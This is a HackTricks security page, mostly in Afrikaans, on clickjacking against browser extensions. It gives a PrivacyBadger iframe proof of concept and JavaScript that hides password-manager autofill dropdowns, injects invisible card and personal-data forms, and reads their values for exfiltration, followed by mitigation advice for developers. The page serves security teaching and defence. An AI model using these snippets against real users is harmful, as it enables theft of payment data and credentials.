BrowExt - ClickJacking
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Hierdie bladsy gaan ân ClickJacking kwesbaarheid in ân Browser extension misbruik.
As jy nie weet wat ClickJacking is nie, kyk:
Extensions bevat die lĂȘer manifest.json en daardie JSON-lĂȘer het ân veld web_accessible_resources. Hereâs what the Chrome docs say about it:
Hierdie hulpbronne sal dan beskikbaar wees op ân webblad via die URL
chrome-extension://[PACKAGE ID]/[PATH], wat gegenereer kan word met dieextension.getURL method. Toegestane hulpbronne word saam met toepaslike CORS-headers bedien, sodat hulle beskikbaar is via meganismes soos XHR.1
Die web_accessible_resources in ân browser extension is nie net via die web toeganklik nie; hulle werk ook met die extension se inherente voorregte. Dit beteken hulle het die vermoĂ« om:
- Verander die extensionâs staat
- Laai bykomende hulpbronne
- Interaksie met die browser tot ân bepaalde mate
Hierdie funksie stel egter ân sekuriteitsrisiko voor. As ân hulpbron binne web_accessible_resources enige noemenswaardige funksionaliteit het, kan ân aanvaller potensieel hierdie hulpbron in ân eksterne webblad inbed. Onversigtige gebruikers wat daardie blad besoek, kan per ongeluk hierdie ingebedde hulpbron aktiveer. Sulke aktivering kan tot onbedoelde gevolge lei, afhangende van die toestemmings en vermoĂ«ns van die extension se hulpbronne.
PrivacyBadger Voorbeeld
In die extension PrivacyBadger is ân kwesbaarheid geĂŻdentifiseer wat verband hou met die skin/ directory wat as web_accessible_resources verklaar is op die volgende wyse (Check the original blog post):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Hierdie konfigurasie het tot ân potensiĂ«le sekuriteitsprobleem gelei. Spesifiek kon die skin/popup.html lĂȘer, wat gelaai word wanneer op die PrivacyBadger-ikoon in die blaaier geklik word, binne ân iframe ingevoeg word. Hierdie invoeging kon misbruik word om gebruikers te mislei om per ongeluk op âDisable PrivacyBadger for this Websiteâ te klik. So ân aksie sou die gebruiker se privaatheid in gevaar stel deur die PrivacyBadger-beskerming te deaktiveer en die gebruiker moontlik aan meer tracking bloot te stel. ân Visuele demonstrasie van hierdie eksploiteer kan besigtig word in ân ClickJacking-video voorbeeld by https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Om hierdie kwesbaarheid aan te spreek, is ân eenvoudige oplossing geĂŻmplementeer: die verwydering van /skin/* uit die lys van web_accessible_resources. Hierdie verandering het die risiko effektief gemitigiseer deur te verseker dat die inhoud van die skin/ gids nie deur web-accessible resources geraak of gemanipuleer kon word nie.
Die regstelling was eenvoudig: verwyder /skin/* uit die web_accessible_resources.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>
<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Voorbeeld
A blog post about a ClickJacking in metamask can be found here. In hierdie geval het Metamask die kwesbaarheid reggestel deur te kontroleer dat die protokol wat gebruik word om toegang te kry https: of http: was (nie chrome: byvoorbeeld):
.png)
Another ClickJacking fixed in the Metamask extension was that users were able to Click to whitelist when a page was suspicious of being phishing because of âweb_accessible_resourcesâ: [âinpage.jsâ, âphishing.htmlâ]. Omdat daardie bladsy vatbaar was vir Clickjacking, kon ân aanvaller dit misbruik deur iets normaal te wys wat die slagoffer laat klik om dit te whitelist sonder om dit te opmerk, en dan terug te keer na die phishing-bladsy wat dan gewhitelist sal wees.
Steam Inventory Helper Voorbeeld
Kyk na die volgende bladsy om te sien hoe ân XSS in ân browser extension gekoppel is met ân ClickJacking kwesbaarheid:
DOM-based Extension Clickjacking (Password Manager Autofill UIs)
Klassieke extension clickjacking misbruik verkeerd gekonfigureerde web_accessible_resources om geprivilegieerde HTML in te iframe en gebruikersklikke te manipuleer. ân Nuwe klas, DOM-based extension clickjacking, mik op die autofill-druppies wat deur password managers direk in die page DOM ingespuit word en gebruik CSS/DOM-truuks om dit te verberg of te versper terwyl dit steeds klikbaar bly. Een gedwonge klik kan ân gestoor item kies en attacker-controlled inputs met sensitiewe data invul.
Dreigingsmodel
- Attacker controls a webpage (or achieves XSS/subdomain takeover/cache poisoning on a related domain).
- Victim has a password manager extension installed and unlocked (some autofill even when nominally locked).
- At least one user click is induced (overlayed cookie banners, dialogs, CAPTCHAs, games, etc.).
Aanvalsverloop (manuele autofill)
- Inject an invisible but focusable form (login/PII/credit-card fields).
- Focus an input to summon the extensionâs autofill dropdown near the field.
- Hide or occlude the extension UI while keeping it interactable.
- Align a believable control under the hidden dropdown to coerce a click that selects an item.
- Read filled values from the attacker form and exfiltrate.
Hoe om die autofill UI te verberg
- Extension element
- Root element opacity (generic):
// Reduce or nullify opacity of the extension root
// Works when the root element is attached in the page DOM
const root = document.querySelector('protonpass-root')
if (root) root.style.opacity = 0
- Kind binne ân oop ShadowRoot (dinamiese tag, verberg interne iframe):
// Find dynamic root like <protonpass-root-xyz> and hide its child iframe
const root = Array.from(document.querySelectorAll('*'))
.find(el => el.tagName.toLowerCase().startsWith('protonpass-root-'))
if (root?.shadowRoot) {
const frame = root.shadowRoot.querySelector('iframe')
if (frame) frame.style.cssText += 'opacity:0 !important;'
}
- Ouer-element
- BODY/HTML opacity truuks om extension UI onsigbaar te maak terwyl die bladsy normaal lyk (bv. skermskoot-agtergrond):
// Hide full page, then reveal a tiny amount to keep clicks working
document.body.style.opacity = 0
// Optional: Show a screenshot/lookalike to avoid a blank screen
// document.documentElement.style.backgroundImage = 'url(website.png)'
// Inject a credit-card form and focus to trigger dropdown
/* create #cardform with #cardnumber, #expiry, #cvc */
document.getElementById('cardnumber').focus()
// Make body barely visible to allow user interaction
document.body.style.opacity = '0.001'
function getCardValues() {
const num = document.getElementById('cardnumber').value
const exp = document.getElementById('expiry').value
const cvc = document.getElementById('cvc').value
// exfiltrate via XHR/fetch/websocket
}
- Oorlaag
- Gedeeltelike oorlaag: bedek alles behalwe ân paar pixels sodat die dropdown klikbaar bly (verseker dat die aanvaller-oorlaag die laaste in die DOM is met maksimum z-index, of gebruik Top Layer).
- Volledige oorlaag wat pointer-events:none gebruik sodat klikke deurgaan na die verborge dropdown; hou dit bestendig met die Popover API:
<div id="overlay" popover style="pointer-events:none;">Cookie consent</div>
<script>
overlay.showPopover()
// Inject a personal data form and focus to trigger dropdown
/* create #personalform with #name/#email/#phone/... */
document.getElementById('name').focus()
function getData(){ /* read + exfil values on change */ }
</script>
Positionering van die slagoffer se klik
- Vaste plasing: plaas die versteekte uitklaplys onder ân geloofwaardige kontrolelement, soos âAanvaar koekiesâ, âSluitâ, of ân CAPTCHA-vinkboks.
- Volg-muis: skuif die gefokusde invoerveld onder die wyser sodat die uitklaplys dit volg; herfokus dit periodiek sodat ân enkele klik oral ân item selekteer:
const f = document.getElementById('name')
document.addEventListener('mousemove', e => {
personalform.style = `top:${e.pageY-50}px;left:${e.pageX-100}px;position:absolute;`
// some managers hide the dropdown if focus is lost; refocus slowly
setTimeout(() => f.focus(), 100)
})
Impak en scenarioâs
- Aanvaller-beheerde webwerf: een gedwonge klik kan kredietkaartdata (number/expiry/CVC) en persoonlike inligting (name, email, phone, address, DOB) eksfiltreer wat nie tot die domein beperk is nie.
- Vertroude webwerf met XSS/subdomain takeover/cache poisoning: meervoudige-kliek diefstal van inlogbewyse (username/password) en TOTP, omdat baie managers autofill oor verwante subdomeine/ouer-domeine (bv.,
*.example.com). - Passkeys: as die RP nie WebAuthn challenges aan die sessie bind nie, kan XSS die ondertekende assertion onderskep; DOM-gebaseerde clickjacking verberg die passkey-prompt om die gebruiker se bevestigende klik uit te lok.
Beperkings
- Vereis minstens een gebruikersklik en behoorlike pixel-belyning (realistiese overlays maak dit maklik om klikke te ontlok).
- Outo-sluit/afmelding verkort die vensters vir uitbuiting; sommige managers vul steeds autofill in terwyl dit âlockedâ is.
Mitigering vir extension-ontwikkelaars
- Wys die autofill UI in die Top Layer (Popover API) of sorg andersins dat dit bo die bladsy-stacking sit; vermy dat dit deur bladsy-beheerde overlays gedek word.
- Weerstaan CSS-manipulasie: verkies Closed Shadow DOM en monitor met
MutationObservervir verdagte stylveranderings op UI-roots. - Detecteer vyandige overlays voor invul: som ander top-layer/popover-elemente op, skakel tydelik
pointer-events:noneaf, en gebruikelementsFromPoint()om occlusion te ontdek; sluit die UI as overlays bestaan. - Detecteer verdagte
<body>/<html>opacity of stylveranderinge beide voor- en na-render. - Vir iframe-gebaseerde probleme: beperk MV3
web_accessible_resourcesmatchesnoukeurig en vermy die blootstelling van HTML UIs; vir onvermydelike HTML, diensX-Frame-Options: DENYofContent-Security-Policy: frame-ancestors 'none'.
Verwysings
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
- DOM-based Extension Clickjacking (marektoth.com)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

